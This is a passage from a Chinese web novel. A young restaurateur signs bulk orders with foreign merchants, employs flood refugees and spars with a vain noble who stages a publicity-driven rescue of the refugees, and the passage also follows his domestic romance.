阮锦的脸颊微红,心想希望九大夫搓的药丸子管用,他现在每天晚上都有悄悄吃。 四儿又在外面催促:“少爷?起床了没有呀?” 阮锦赶紧应了一声:“来了来了!稍等啊!” 说完他叭唧在阿蛮的脸颊上亲了一口,转身便往外面跑去。 阿蛮的唇角上扬,嘴里喃喃的念了一声:“宝宝……” 看得出,阿蛮对宝宝还是很期待的,心里一阵软绵绵的,酸酸胀胀,似乎被一种名为温情的东西填满了。 阮锦换好衣服便跟着四儿去了奇货巷,今天一早奇货巷开张,仿佛整个桃花县的居民全都来奇货巷凑热闹了。 巷子口的广场上停着那辆花车,仙儿的几个舞姬朋友在上面跳着舞,时不时的还会有人朝上面扔包好的铜钱。 阮锦一进奇货巷,就看到人们一个个手上都托着一块豆腐。 买到豆腐的人欢天喜地,没买到的都是一脸遗憾的在那里叹息:“听说昨晚蛮锦阁推出的新品,就是这种白白嫩嫩的豆腐!哎哟,闻着是真香啊!” “对对对,我们隔壁的先生去吃了,说是和鱼一起炖,鲜得很!” “可惜了,可惜了,我没买上啊!” “那你今天晚上去我家吃啊!我出豆腐你出鱼,怎么样?” “你想的倒是挺美,不过……行吧!为了这块豆腐,出鱼就出鱼!” …… 四儿突然来了一句:“少爷,满意你看到的吗?” 这句话戳中了阮锦的笑点,他一边笑一边问道:“你是不是还要在后面加两个字:男人?” “嗯?”四儿不解:“满意你看到的吗?男人?” 阮锦收起笑意,正儿八经的点了点头:“嗯!十分满意,辛苦四儿了。” 四儿也笑了起来,有些得意道:“少爷,我现在明白你说的那句话了。去试试,才知道自己行不行。” 阮锦嗯了一声,赞赏的对四儿点了点头:“所以,怎么样?奇货巷的成功,是不是也表示着你的尝试成功了?” 四儿又否认了:“不是,是少爷太厉害了!我们都是辅助少爷的!” 两人走了几十米,又看到一个排队的摊子,原来是一位负责摊煎饼的大妈把煎饼摊子搬到了门外,一群人都在那里等着买煎饼。 阮锦刚好没吃早餐,上前找大妈拿了一个煎饼,卷上了八宝酱菜和茶叶蛋,又卷上了一根葱,说道:“不错啊!好吃!” 四儿见状也上前卷了一个煎饼卷大葱,咬了一口道:“确实好吃啊!” 后面排队的人见状,问道:“哥儿,这咸菜在哪儿买啊?” 阮锦指了指前方:“那边,蛮锦食记,后续奇货巷也会上的。” 后面的人应道:“好好好,买完煎饼就去买一些。那个……不贵吧?” 阮锦笑道:“不贵不贵,比煎饼还便宜!顺便再买几个茶叶蛋,不过茶叶蛋咱们桃花县已经随处都能买到了。” 后面的人终于排到了煎饼,连连道谢道:“好好好,谢谢哥儿,我这便去买。哎呀,这个煎饼可是好东西,我路上带着吃,十天半个月也坏不了。” 说着那人便朝着蛮锦食记的方向走去,显然是想买个两斤咸菜卷煎饼吃。 四儿和阮锦则一边咬着煎饼一边往里走,远远的便看到几名西域打扮的胡商等在那里。 那边也正是植物油区,花生油、菜籽油、香油都摆在那里,那几名胡商看的正是菜籽油。 阮锦上前热情的和他们打着招呼:“几位客商,是想买油?” 四儿同他们介绍道:“这位就是我们的阮老板。” 为首的胡商笑着把手放在胸前,朝他欠了欠身道:“阮老板,真是久闻大名。” 这胡商的中原官话一股子咖喱味儿,阮锦也礼貌的朝他拱手:“幸会幸会,两位是想要多少油?” 那几名胡商笑了起来,其中一名胡商伸出了一根手指,阮锦问道:“哦,一千斤吗?” 胡商笑着摇了摇头,脸上露出骄傲之色。 阮锦的脸上有些不敢相信,问道:“一万斤?” 为首的胡商大声笑了起来,继续摆手道:“也不和阮老板卖关子了,我们要十万斤!听说你们零售二十五文一斤,不知道我们要十万斤,阮老板能不能给我们便宜一些呢?” 阮锦一口煎饼差点噎死,心想十万斤??? 这可是一笔大买卖啊! 胡商十分大方,说道:“我们那边没有这种油,也不知道是用什么做的。当然,我们也不在意。这里是两千两的订银,希望我们可以早点拿到货。对了,除此之外,我们还想要两千斤的煎饼,一千金的香油,三千斤的花生油。不如就一起把定契签了吧?” 第80章 阮锦听着那些商人们所报出来的数量,心情是越来越好,越来越好,越来越好! 他热情的招呼着众胡商道:“既然大家如此有诚意,我也要略尽一下地主之谊呀!来来来,大家这边请,今天我在蛮锦阁设宴,招待诸位贵客。” 为首的胡商一听,也觉得阮锦这个人十分有诚意,当即上前单手揽住他的肩膀道:“啊哈哈哈阮老板豪爽!我早就听说蛮锦阁的饭菜好吃了,但是我们今天去了,那边却说需要提前预定,还要提前三天预定。咱们远道而来,最多在这边待上几天,哪里预定得了啊!没想到阮老板竟然如此大气,竟能直接进入蛮锦阁吃饭?” 阮锦不动声色的把大胡子胡商的手扒拉开,乐呵呵的说道:“小事,小事,不才在下正是蛮锦阁的掌柜。若是诸位贵客想吃蛮锦阁的菜了,随时都可以找我,我来给各位开小灶。” 胡商意外道:“哦?想不到阮老板竟如此厉害啊!看来,找您合作,我们果然找对了。” 阮锦小声的吩咐四儿去准备合同,并收了胡商的两千两订金,便带着他们朝蛮锦阁的方向走去。 一出胡同口,便看到远处有一列车马缓慢的朝这边走来。 阮锦皱眉看了一眼那车马,问道:“那是什么人?” 胡商看了一眼,说道:“哦,听说是你们渊王派来去西边赈灾的。但是西边全淹了,他们应该只能驻守在这里。唉,天灾无眼,也只能祈祷百姓安好了。” 阮锦点了点头,心想可算是到了,老百姓都在水里泡了好几天了。 由于那列人马数量过多,阮锦便带着胡商们在道旁等了片刻。 胡商显然见多识广,指着为首的两名男子说道:“哦,那位便是你们大渊的大司农,迟麟迟大人。我在渊都时,有幸见过一次。” 阮锦了然的哦了一声,朝迟麟看了过去,点头道:“果然是一表人才啊!只是看上去……呃……好像是个郎君?” 胡商笑了笑,说道:“阮老板说对喽,就是个郎君。还有他旁边那个,也是一名哥儿。” 阮锦又朝迟麟旁边看了过去,福至心灵般的说道:“哦,他就是齐颂声吧?” 胡商意外道:“哦?阮老板也看过那幅佛子图?” 阮锦笑了笑,说道:“这次跟着大司农前来赈灾的,不就是那位京城第一哥儿齐颂声吗?嗯,长得确实漂亮。” 胡商应道:“确实啊!我一直想认识一下,可惜这位哥儿眼高一顶,是不屑与我们这些胡商结交的。” 这时,那队人马缓缓走远了,阮锦便朝胡商了做了个请的手势道:“大人物的事情,咱们小人物也管不来。贵客,走,咱们去吃饭!” 胡商豪爽的笑道:“好!” 阮锦装修蛮锦阁的时候,在三楼给自己留了包厢,以便想来的时候随时都可以来。 他一边给胡商介绍着蛮锦阁的特么,一边带着他们朝蛮锦阁的方向走去。 而此时刚到桃花县的齐颂声则正好奇的对周围东张西望,对旁边的迟麟道:“迟大人,这里还挺热闹的,看不出有水患的样子啊!” 迟麟看到的却和齐颂声看到的完全不一样,他指着角落里道:“两年前我曾来过一趟桃花县,这里是富庶之乡,本来是没有这么多乞丐流民的。你看这些流民,应该都是水患之处逃难过来的。而且遭遇水患的地方不在县城,而是在周边乡下。那边地势低尘,不少村落已经变成了一片汪洋。” 齐颂声的脸上露出了悲悯的表情,说道:“那些百姓真的太可怜了,迟大人,咱们明天就去赈灾吧!” 迟麟却道:“恐怕今晚连夜就得过去,晚一刻,百姓们就要吃更多的苦。” 这一路上因为这位小少爷的状况百出,已经耽误了许多时间,比他原计划的晚了一天才抵达东南郡。 齐颂声皱了皱眉,有些不悦的说道:“迟大人,有必要这么赶吗?” 迟麟道:“齐公子不必跟着我,可以先在驿馆留几天,我须得前往郡守处运粮过来。今夜若是不运过来,明天百姓便又要饿一天。这一夜,还不知道要有多少百姓饿死。” 齐颂声没再说什么,他从渊都赶过来,骑了三天的马,屁股都快巅坏了,今夜他说什么也不想动了。 但是来之前父亲交待过,一定要盯住了迟麟,绝对不能让他有机会私自和黑羽卫接触,如果他不跟着…… 就在齐颂声思索的片刻,前面发生了一阵骚乱,有人大声喊着:“奇货巷豆腐新出锅了!奇货巷豆腐新出锅了!大家快去买呀!” 随着这声喊声,一群人朝奇货巷的方向跑去。 齐颂声的马受了惊,好在身旁有护卫牵住了马,他赶紧翻身从马上跳了下来。 迟麟也驻了马,拦住一个人问道:“小哥,前面是发生什么事了吗?” 那人显然是去凑热闹的,知道自己肯定抢不到,便耐着性子说道:“奇货巷啊,客商不知道吗?咱们阮老板的奇货巷今天开张,推出了一款比肉还好吃的嫩豆腐!哎哟,那叫一个鲜美!” 迟麟问道:“阮老板?” 那人答:“是啊,阮老板,蛮锦食记和蛮锦阁的老板。哎呀客商我跟您说,咱们桃花县的特色,就是阮老板的食肆!您去尝尝就知道了,现在咱们桃花县的行商比原来多了数倍,都是想来阮老板的食肆尝鲜的。有的甚至不惜绕道,也要绕到咱们桃花县来走。最近周边都在发大水,倒是更加成就了咱们桃花县,往来行商的就更多了!阮老板也成了咱们桃花县的第一哥儿!啊……不对,是第一郎君,听说阮老板已经成亲了呢。” 听到第一哥儿四个字,齐颂声的眉心又蹙了起来,他小声对旁边的手下道:“你去给我查查这个阮老板,我倒要看看他是个什么样的人,还胆敢自称第一哥儿。” 整个渊都的人都知道,第一哥儿是他齐颂声。 不论是才华还是样貌,抑或是出身,谁能比得过他? 手下低低应了一声,转身便去办事了。 待到人流散了,迟麟便没再多说什么,骑上马朝驿馆的方向走去。 阮锦则带着胡商吃了饭,签了订单,还收到了胡商送他的各色宝石,他也没让胡商们空手,一人送了他们几斤煎饼和八宝酱菜。 现在在桃花县,这两样东西也是紧俏货,行商的人都喜欢买它们做路菜。 收到礼物的胡商们也非常高兴,喝醉后的胡商拉着阮锦要和他结拜,拍着胸脯道:“我……巴布尔,以后就是阮老板的好兄弟!你们中原不是有句话,结为异姓兄弟吗?今天咱们就……嗝……结拜为异姓兄弟!” 阮锦刚要说些什么,便看到门口有一双幽幽的眼睛,阿蛮不知道什么时候来的,正一脸幽怨的看着他。 阮锦朝他使眼色,示意自己安抚好这位兄弟,一会儿就去陪他。 阿蛮却不走,施展轻轻跳到了屋顶上,掀开一片瓦片朝下看。 阮锦头都大了,心想阿蛮这是怎么了,怎么还上房揭瓦了? 一看才发现,那巴布尔的手一直拉着他的胳膊,这显然让阮锦十分恼火。 阮锦有些无奈,心想阿蛮的占有欲越来越强了,不过问题不大,战有欲越强,越说明他对自己的喜欢。 阮锦又把巴布尔的手扒拉开,说道:“好好好,咱们现在就歃血为盟!” 巴布尔学着中原人的样子,拉着阮锦走到院子里,朝着月亮跪了下来,还从怀里掏出一把匕首,想都没想便把自己的手指割破了。 吓的阮锦差点弹起来,心想兄弟你玩儿真的吗? 巴布尔割完了手,又把匕首交给了阮锦,阮锦不敢割,就在他在思忖如何搞小动作蒙混过去的时候,一只大手从他背后伸了过来,那竟是阿蛮的手。 也不知道这家伙是什么时候来的。 阮锦低低的笑了笑,阿蛮绕过阮锦的身体,在自己的小指上割了一刀,滴到了前方的土堆上。 巴布尔砰砰砰磕了好几个头,磕完也不管阮锦,自顾自的发誓道:“我巴布尔今天愿意和阮……阮什么?” 阮锦提示他道:“阮锦!” “好,阮……阮锦结为异姓兄弟,虽不能同年同月同日生,但愿……” 阮锦一把捂住他的嘴,说道:“但愿同年同月同日发大财!” 巴布尔乐呵呵的笑道:“对对对,发大财哈哈哈!” 说完他又磕了好几个头,直把头磕出了一个大包。 阮锦心想,这哥们儿可真够实诚的,不过今天从他这里签了大几千两银子的大单,陪他疯一把就疯一把了。 好在这家伙撒起酒疯来只是拉着人结拜,也没做出什么出格的事,后面就被他的几名兄弟给拉走了。 阮锦松了一口气,转头看向屋顶上的阿蛮叹息道:“赚点儿钱容易吗?阿蛮,把我抱上去!” 阿蛮闻言,飞身将阮锦抱上了屋顶,阮锦也喝了不少酒,趴在他身上的时候扑了阿蛮一身的酒气。 阮锦软绵绵的倒在了阿蛮的身上,笑着对他说道:“今天的月亮……可真好看。” 此时的驿馆中,齐颂声的手下也带回了第一手的消息,他对齐颂声回报道:“公子,这个姓阮的叫阮锦,据说是桃花县阮家村人。开了两家食肆,还有那个奇货巷,也是他的产业。据说日进斗金,是眼下桃花县最赚钱的生意。但关于他的夫君却是说法不一,有人说他的夫君是个傻子,也有人说他的夫君是个郎中。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 80-90 第81章 关于阮锦夫君在外面的传言,要怪就怪蒙将军来大肆搜查的时候他让九大夫假扮自己夫君的事。 那时候他担心自己暴露了阿蛮的身份会给他带来危险,便让九大夫陪他演了一场戏。 再加上阿蛮平常不太爱出门,只喜欢待在家里雕木头,以至于桃花县的很多人都以为阮锦的夫君是九大夫。 九大夫哥儿的身份也只有阮锦和四儿他们知道,就连小五义都不是很清楚,都以为九大夫是个普通男子。 而为了给阮锦打掩护,九大夫也没出来澄清,于是这误会就一直这么传下去了。 齐颂声闻言却是冷冷的哼了一声:“一个乡野哥儿,也敢用第一哥儿的称谓,还真是不知道天高地厚。” 下属陪笑道:“公子说的是,小人觉得公子不必为一个乡野哥儿浪费自己的精力。不过,听说他那个蛮锦阁的饭菜倒是挺好吃的。公子,您要不要去尝尝?” 齐颂声从小在侯府养尊处优,什么好东西没吃过,自觉一个小县城里的食肆,哪能和京城那些大酒楼比。 不过既然他过来了,自然要探访一下民情,便闲闲道:“行吧!那就给我订一个包厢吧!” 下属应声而去,齐颂声便转身回了房间。 一回到房间,便看到房间里一名黑衣人正在等他,齐颂声赶紧关了门窗,问道:“是父亲那边有什么吩咐吗?” 黑衣人朝他行了个礼道:“小公子,侯爷派遣我等暗中查访。” 齐颂声点了点:“父亲怎么说?” 黑衣人答:“侯爷曾收到秘报,说间蒙铎在桃花县大肆搜捕额前有胎记的神秘要犯。侯爷怀疑,这个神秘要犯和王上有关。” “王上?”齐颂声皱眉:“他不是御驾亲征,去处理西北那边的事情了吗?” 黑衣人道:“不好说,侯爷就是想让我们调查清楚这件事,所以才派我等前来。除我们以外,小公子应该知道还有谁在暗中查探这个人的下落。” 齐颂声点头:“嗯,明白,黑羽卫。黑羽卫是王上的人,难道王上在秘密做什么紧要之事?” 黑衣人没再说什么,齐颂声想了想:“我知道了,你们有事随时和我说。对了,今天晚上迟麟要去郡守府运粮,你们跟着他吧!看看他私底下会不会和黑羽卫的人接触,父亲说让我盯好他。” 黑衣人应了一声是,便消失在了夜色里。 齐颂声打开窗户,看了看窗外的月亮,冷哼一声道:“这桃花县虽然不怎么样,风景倒是还不错,倒是可以游玩一段时间。” 第二天,阮锦的奇货巷仍是客商云集,为了早点完成这些订单,阮锦又挂上了招工的牌子。 他对四儿说:“优先那些流民,让他们有工作,有钱拿,也算是稳定社会的一个手段。” 四儿应道:“知道了少爷,只是……只是少爷,他们都听说了那位佛子来了桃花县,指望着佛子收留他们呢。跟着咱们还要做工,听说跟着佛子,什么都不用做就有吃有喝还有钱拿。怕是……招不了多少工进来。” 阮锦叹了口气,说道:“无碍,你记住一句话,天上不会掉馅儿饼,天下也不会有白吃的午餐。佛子再善良,也不会有那么多钱养一堆闲人。而且这位佛子昨天就已经到了,到现在也没有动静,怕是他们的愿望要落空了。” 至于阮锦一开始收留的那些人,他们昨晚就收到了自己的第一笔工钱,足有三十文之多,阮锦也是怕他们担心做工久了不给钱,就像阿丙当初一样给他们日结的工钱。 一收到钱,流民们的干劲儿更大了,不少人一大早的就起来磨豆腐,磨面糊,等着早晨奇货巷开门,好把豆腐和煎饼卖个好价钱。 还有专门的一个队伍专门接各大食肆的订单,单单是昨天一天的时间,四儿就接到了足足五百多斤豆腐的订单,都是各大食肆和酒楼过来订的。 豆腐也已然成为桃花县的又一网红食物,也深受普通老百姓的欢迎。 煎饼则是深受行商们的欢迎,基本上所有行商者都会在路过的时候买上几斤带着路上吃,再配上几斤八宝酱菜,吃上半个月不成问题。 除此之外,扇子、油、炒货等等,也都接到了数量颇多的订单。 这一天下来,阮锦光收订金就收到了大几千两,这让阮锦都非常非常意外。 没办法,这些钱四儿和阮锦都管不过来了,只能专门找了一个账房先生。 阮锦只需要每日查账,对好每一笔订单就可以了。 今日一早,阮锦来到奇货巷,便看到了一派繁忙的景象,可能是流民们看到了未来生活的希望,一见到阮锦便冲着他大喊:“食神菩萨!” 听到一个人喊,其余人也得到了共鸣,跟着齐齐冲着阮锦喊:“食神菩萨!” 阮锦被喊的都有些不好意思了,捂着脸道:“好好好好,唉,大家别喊啦!哪儿是什么食神,更不是什么菩萨。大家好好做工,赚了钱大家一起分啊!” 众流民们一阵欢呼,照这样下去,他们想不赚钱都难。 阮锦还在劝大家:“但是也要注意休息,别太累了,身体才是革命的本钱。” 流民们点头应着,看向阮锦的表情都不一样了。 流民营,和他们这边形成了鲜明的对比,在潮湿的帐篷里待了好几天的流民们终于有些扛不住了。 其中一名流民道:“那佛子不是已经到桃花县城了吗?怎么还不过来?他该不会不来了吧?” 又一名流民道:“听说阮老板那边又在招工了,他新开了个奇货巷,昨天进了一大批的订单,正缺做工的呢。所有的工人都管吃管住,虽然是睡大通铺,也比睡在这地方强吧?” “真的假的?咱要不去试试?” 一个小孩啃着一块煎饼道:“是真的,我二叔去了,他还给了我煎饼,可香嘞。说是昨天当天就开了工钱,给了三十文呢。” 众人朝小孩看了过来,纷纷问道:“真的有三十文?三十文可不少了啊!” 小孩答:“有,所有人都有,就连二婶都开了三十文。” 一听小孩这么说,不少人都心动了,犹豫着要不要去。 而不远处已经有一波流民拆了帐篷,一边拆一边道:“我是不等了,一刻也等不下去了,就没有这发财的命!” 一会儿的功夫,便有十几人拆了帐篷离开。 三嫂和三哥也开始为难,三哥道:“我说孩儿他娘,要不咱也走吧!再这样下去,咱孩儿也吃不消了。” 三嫂却不知道该如何拿主意,说道:“可四婶儿说了,让咱们再等一天,要不咱就再等一天吧?反正阮锦那边的工也跑不了,左右再等一天,要是明天佛子还不来,咱们就去拉下面子求锦哥儿。” 三哥叹息,但拗不过女人,也只得抱着孩子回了帐篷。 此时的齐颂声正悠哉悠哉的在桃花县县城集市上闲逛,逛着逛着又逛到了奇货巷。 他抬头看向奇货巷的方向,只见巷子上方挂着牌坊,上面写着四个大字:奇货可居。 更有不少流民在那里排队,一名小哥儿拿着纸笔在那里记录着什么,似是在招工。 还有不少人在巷子里喊:“食神菩萨,真是菩萨心肠啊!还愿意给咱们这些流民一口饭吃,还有工钱拿,真是菩萨心肠!” 齐颂声皱了皱眉,问手下道:“他们这是在喊什么?” 手下赶紧去打听,片刻后回来道:“小公子,他们喊的是那个叫阮锦的小老板。说是这些食物全是他所研制出来的,又容留了两百余名流民做工,大家都赞他食神再世,还是个菩萨心肠的。” 齐颂声冷哼一声,说道:“就凭他?一个乡野哥儿,还好意思说是食神菩萨,他也配?” 手下急人之所及,恭敬的说道:“小公子,您可是京城来的佛子,他当然是比不过的。我听说,这边有一处流民营,不如咱们趁着迟麟迟大人还没回来,去把那些流民找一处好些的宅子收留了?这样,不也坐实了您佛子的名号吗?” 听到手下这么一说,齐颂声的唇角勾了起来,说道:“嗯,你说的对。本公子身为佛子,确实要多体恤百姓的疾苦。” 说着他转身对手下道:“你在前面带路吧!让管家去备两处大一些的宅子,本公子要亲自迎那些流民入住。” 手下立刻躬身请齐颂声上马车,驾车便朝着流民营的方向走去。 此时的流民营还有两百余名流民,走了大约一半,还有不少正在跃跃欲试,若是今天那所谓的佛子还不来,他们就要去阮锦那里做工了。 谁料正午时,便有两人骑着马来到了流民营,绕着流民营跑了两圈,边跑边喊:“京城佛子齐颂声,迎接众百姓入住万花巷。京城佛子齐颂声,迎接众百姓入住万花巷。京城佛子齐颂声,迎接众百姓入住万花巷。” 众流民听到动静,赶紧从帐篷里钻了出来,尤其是四婶,赶紧去隔壁帐篷拉着三嫂的胳膊道:“你听你听,佛子来了!我就说吧!佛子一定会来救咱们的。” 三嫂也高兴了起来,仔细的听了片刻道:“哎哟哟,那可是百花巷啊!出了名的富人区!老三你快出来,快听听!佛子来接咱们去百花巷了!” 三哥出了帐篷,果然听到了那喊声,他有些怀疑道:“百花巷?真的假的?那地方不大,能住得下那么多人吗?” 第82章 三嫂和四婶却一直沉浸在自己快乐的氛围里,开始拆帐篷收拾行李准备拎包入住她们想象中的大豪宅。 如他们所想的那样,百花巷的确是富人区,齐颂声所租的两栋宅子也的确是三进三出的大院子。 可是,这两栋大宅子如果住个几十个人,的确可以住的很舒服。 问题是他们现在有两百多名流民,一起住在两栋宅子里,那可真是拥挤了。 阮锦的奇货巷是条大巷子,巷子两旁都是宅子,虽然只是平民居所,但平均分下来一个房间住两到三人最多了。 可这两栋大宅子,两百多人分下来,一个房间至少要住五六个人。 但齐颂声可没有考虑那么多,他亲自去接了流民,并把他们安排进了宅子,在大街上上演了一出佛子迎流民的出圈图。 十几名画师出街,全都在冲着齐颂声圈圈点点。 此时的阮锦正在蛮锦阁招待新一批的订单商人,他们听到外面的动静,也都纷纷朝窗外看去。 其中一名行商有些不解的问道:“这是……在干什么?” 阮锦的手上摇着一把扇子,上面是他对这世界的控诉:啥B。 他用扇子点了点街上道:“听说是佛子迎流民,要接他们去百花巷享福呢。” “百花巷?”一名本地的食肆小老板问道:“那可装不下这么多人啊!” 阮锦轻笑:“可能……挤挤也能睡得下,总比一直睡在帐篷里强吧?” 帐篷里阴湿又闷热,待的时间长了是会得热射病的,能搬进宅子里当然是件好事。 又有一名行商道:“接流民住进宅子里我能理解,可那……十几名画师是做什么的?阮老板你也接了两百多名流民入巷子,也没见有这么多画师跟着啊!” 阮锦一边扇着扇子一边笑道:“哎呀,那是营销号!” 当年一幅出圈的佛子图,让齐颂声成为了京城第一哥儿,如今这一举动,出动十几个营销号,怕是要名震整个大渊。 众人齐齐不解的问:“营销号?” 阮锦笑出了声:“没什么没什么,小公子的事,咱们平民百姓还是不要议论的为好。来来来,几位老板。这几把扇子,是我送给大家的见面礼。如果自己用不习惯,可以送给家族里读书的子弟。” 几名商人闻言当即朝阮锦道了谢,一人领了一把折扇。 这几个都是本地的商人,多数都是来订豆腐的,有的是往下面的乡村送,有的则自己就是开食肆的。 其中一个还是熟人,正是那天阮锦见过的梁同,梁同在东南郡有不少产业,恰好赵县受灾,他便拖家带口的过来了。 李进帮着去处理流民的事,他则打算在这边找点小生意。 一过来就听说了奇货巷,虽说李进多次说过不让他和阮锦合作,梁同还是觉得奇货巷的东西的确奇货可居,早上船早赚钱。 本来这段时间因为水患的事,他的生意就有些停摆,去奇货巷转了一圈,倒是真让他有想法了。 阮锦看向梁同,说道:“梁郎君,听说你有要长期合作的意向?不如我们一会儿单独谈谈?” 梁同点头:“正有此意。” 饭后,阮锦带着梁同去了顶楼的一处阳台,上面有茶桌和茶具,两人面对面盘腿坐了,一边欣赏桃花江的美景一边有一搭没一搭的聊着。 阮锦问起了李进的事:“你和李进,最近怎么样?” 提起李进,梁同的脸色似乎不太好,此时梁同的孩子已经生了出来,早产一个月,确实是个哥儿。 梁同摇了摇头道:“他父母,似乎不太满足我生了个哥儿。明里暗里说过很多次,让李进把李令接回来。不过他们恐怕是找不到李令了,你应该是把他们藏起来了吧?” 阮锦给梁同倒茶:“哪用得上我藏,她自有去处。你这刚生完就出来,身子能受得了吗?” 梁同轻轻咳了咳,说道:“确实不太舒服,不过赵县那边到处是泥泞,我也只能来这边了。只是苦了我的苏儿,才一个月,就要跟着颠沛流离。” 阮锦问:“是李令的父母在照看孩子?” 梁同抿着茶道:“哪用得上他们,我自有乳母和佣人。三个人照料一个奶娃娃,足够了。” 提起孩子的时候,梁同的脸上露出了笑意,显然对孩子还是很满意的。 阮锦又问道:“你们成亲了吗?” 梁同微怔,摇了摇头道:“李进倒是一直催着我,但……你那天说的话,我都听到了心里。只一直推托说近日大水,不宜大操大办。加上我生意上往来的人情不少,若是不操办便是亏了我送出去的那些人情。他也是信了,这件事暂时搁置着。” 阮锦点头表示明白,说道:“你……犹豫了?” 梁同托着腮,说道:“我前一段婚姻,因为没有公婆,亡夫年纪大些,对我很是宠爱。可惜他年纪大了,我们一直没能生出孩子来,这也一直是我的遗憾。如今虽说弥补了这一遗憾,可是……不论是与他父母还是与他的相处,总让我有一种不自在的感觉。” “不自在?”阮锦问:“怎么个不自在?” 梁同道:“其实就是享受足了亡夫的贴心,觉得李进这个人,对我总是不上心。我早产月余,在鬼门关上走一遭,他回来却只抱了抱孩子,连产房都未进。只因听了他母亲那一句,产房污秽不洁又是至阴,会扑了男人的阳气。” 阮锦:…… 哦,奇葩婆婆和妈宝男,也是绝了。 阮锦又给他倒了一杯茶,说道:“那……你怎么样?” “我怎么想?”梁同哼笑出声:“我们哥儿能怎么想?我已经嫁过一次了,这遭是第二次。若是我再和他分开,怕不是要被赵县的父老乡亲们的口水淹死。” 阮锦却并不认同,摆手道:“何必在意别人,你来桃花县这么长时间了,可曾听说我的事?” 梁同微怔,点头道:“那倒是听说了,他们说你一哥儿两嫁,到底是真的还是假的?” 此时梁同脸上的八卦之火熊熊燃烧,阮锦一脸的无语,说道:“哈哈哈,是不是听别人的八卦更有趣?” 梁同终于笑了,摆手道:“哎哟,开玩笑,这当然是假的。我们都是风口浪尖儿上的人物,难免会被人说嘴。” 阮锦点头:“这就对了,管别人说什么?做好自己就够了。” 梁同怔了半天,终于开口道:“阿锦啊!你说,我如何才能测一测梁同,对我是不是真心?” 阮锦抬头看向梁同,问道:“你当真想测?” 梁同点头:“我不能糊里糊涂的过下去,哪怕测出来的结果不如我意,我也认了!” 阮锦放下茶杯,点头道:“好,既然你有心,那就按我说的办。” 梁同离开的时候,给阮锦签了足中五千两银子的各种豆制品订单。 阿蛮倒吊着从阳台外面翻了进来,站到了阮锦身边,搂住他的腰亲了他一口,问道:“阿锦忙完了?” 阮锦无奈,已经习惯了他的神出鬼没,抬手理了理他的发丝问道:“什么时候到的?” 阿蛮指了指屋顶:“有一会儿了,在你教那个郎君怎么试探夫君的时候。” 阮锦无语:“阿蛮还学会偷听了?” 阿蛮嘟了嘟嘴,晃着阮锦的胳膊道:“阿锦,我……我是不会像那个李进一样的。我喜欢你,也会很贴心的照顾你,未来也会照顾好我们的宝宝。当然了,我也不怕阿锦的试探。反正不论阿锦怎么试探,我都不会离开你的!” 阮锦抬起双手捏了捏阿蛮的两颊,说道:“你在瞎说些什么呢?我们是正常的婚姻和感情,但是李进和梁同不一样。李进骗了梁同,立单身人设泡到了白富美少夫。抛妻弃子,想娶他,其实娶的也不过是他的家财。梁同生了哥儿,他父母便露出了真面目。这大概,也是梁同不敢再次步入婚姻的因由吧!” 阿蛮却舔着脸冲着阮锦傻笑:“我喜欢哥儿,阿锦我们生个哥儿吧!就生一个就可以,我怕你生多了……身体不好!” 阮锦:…… 他一边哈哈笑着一边叭唧亲了阿蛮一口:“哎呀我的阿蛮,你怎么这么可爱呢?这么可爱的阿蛮是谁的夫君呢?原来是我的呀!” 阿蛮也叭唧在阮锦的嘴巴上亲了一口,十分幼稚的说道:“你的,就是你的,永远是你的。” 就在两人你来我往,马上亲出感觉的时候,包厢的门被推开了,四儿的声音传来:“少爷,那个……” 四儿的声音戛然而止,他转身刚要离开,就被阮锦叫住了:“四儿,我们没做什么,你有事便说。” 四儿在心里狠狠吐槽,都亲上了,还什么都没做,你们俩能不能注意点场合? 他清了清嗓子,转过头来开口道:“那个……那位齐小公子在咱们这里预订了今晚最大的包厢,说是要来尝尝咱们蛮锦的特色豆腐炖鲑鱼。” 阮锦皱了皱眉,问道:“他不是刚刚收集了一堆流民吗?今晚不用安置他们吗?” 四儿道:“这个……少爷,人家小公子用得着自己干活儿吗?干完了在街上露脸的活儿,让画时画完了画,那不都有手下人料理吗?” 阮锦心想也是啊,以前那些明星网红也没有自己亲自去救灾的,一般都是摆拍。 十几个营销号出动,那自然是摆拍完就撤了。 四儿又问道:“少爷,今晚您要露一下面吗?那毕竟是齐小公子,如果您不露面,会不会治您个不敬之罪?” 第83章 说实话,阮锦并不想和这位齐小公子打交道,倒也并不是因为他沽名钓誉,也不是因为他雇营销号做人设。 主要是因为他是长兴侯的儿子,而他上次因为荣安良的事,砍掉了长兴侯一臂,本质上算是敌对势力了。 可如果自己身为蛮锦阁的老板不露面,怕是也会得罪这位小公子。 阮锦左思右想,说道:“四儿,你去叫九大夫过来,让他陪我见见这位小公子。” 不是阮锦过于谨慎,他不想让阿蛮露面,主要还是担心他,怕他私底下真有什么隐藏身份。 如果是正向的,那还好一些,可如果是负面的,抑或是有过什么不为人知的罪行,那阮锦是死也不想把他交出去的。 不论如何,保护好阿蛮,是他此时的主要任务。 待四儿离开后,阮锦捧着阿蛮的脸道:“阿蛮乖乖,回去等着我好吗?” 阿蛮有些不开心的嘟了嘟嘴,说道:“阿锦又想让九哥假扮你夫君吗?” 看着阿蛮吃醋,阮锦总觉得他可爱极了,勾了勾他的鼻子道:“小醋包,是不是吃醋了?” 阿蛮摇了摇头,说道:“我知道阿锦是为了我好,现在桃花县长处都是外人,你担心会有人发现我。你放心吧阿锦,我会藏好的,一定不会让人看到我。” 阮锦叹息,抱了抱他道:“对不起阿蛮,我只是想保护你。过段时间,等我的生意告一段落了,我就会找人去探查你的身世。等我查清楚了,联系到了你的家人,或许你就不用一直躲躲藏藏的了。” 阿蛮却摆了摆手:“不需要,我不需要家人,只要有阿锦就够了。” 这话倒是把阮锦给逗笑了,责怪道:“傻瓜,哪有人不需要家人的。说不定你的父母在家都等着急了,他们肯定也希望你平平安安的。” 阿蛮的表情却陷入了迷茫,不知道是不是又想到了什么。 陪着阿蛮说了会儿话,又让傀儡给他送来了一些糕点和饮子,九大夫便推门走了进来。 九大夫已经换上了一套普通男子的装扮,手上还拿了一把折扇,那折扇也是阮锦后来给他做的,上面的图画的是竹子,非常适合九大夫的气质。 九大夫进来的时候阮锦还怔了怔,起身赞道:“九哥你今天好帅啊!如果你是个普通男子,怕是哥儿小姐们要排着队要嫁你为妻。” 九大夫没好气的哼了一声,说道:“是吗?可惜了,我不是。” 身为一个大龄哥儿,二十二岁了,每次成熟期还要用角先生来缓解,可真是悲凉中的悲凉。 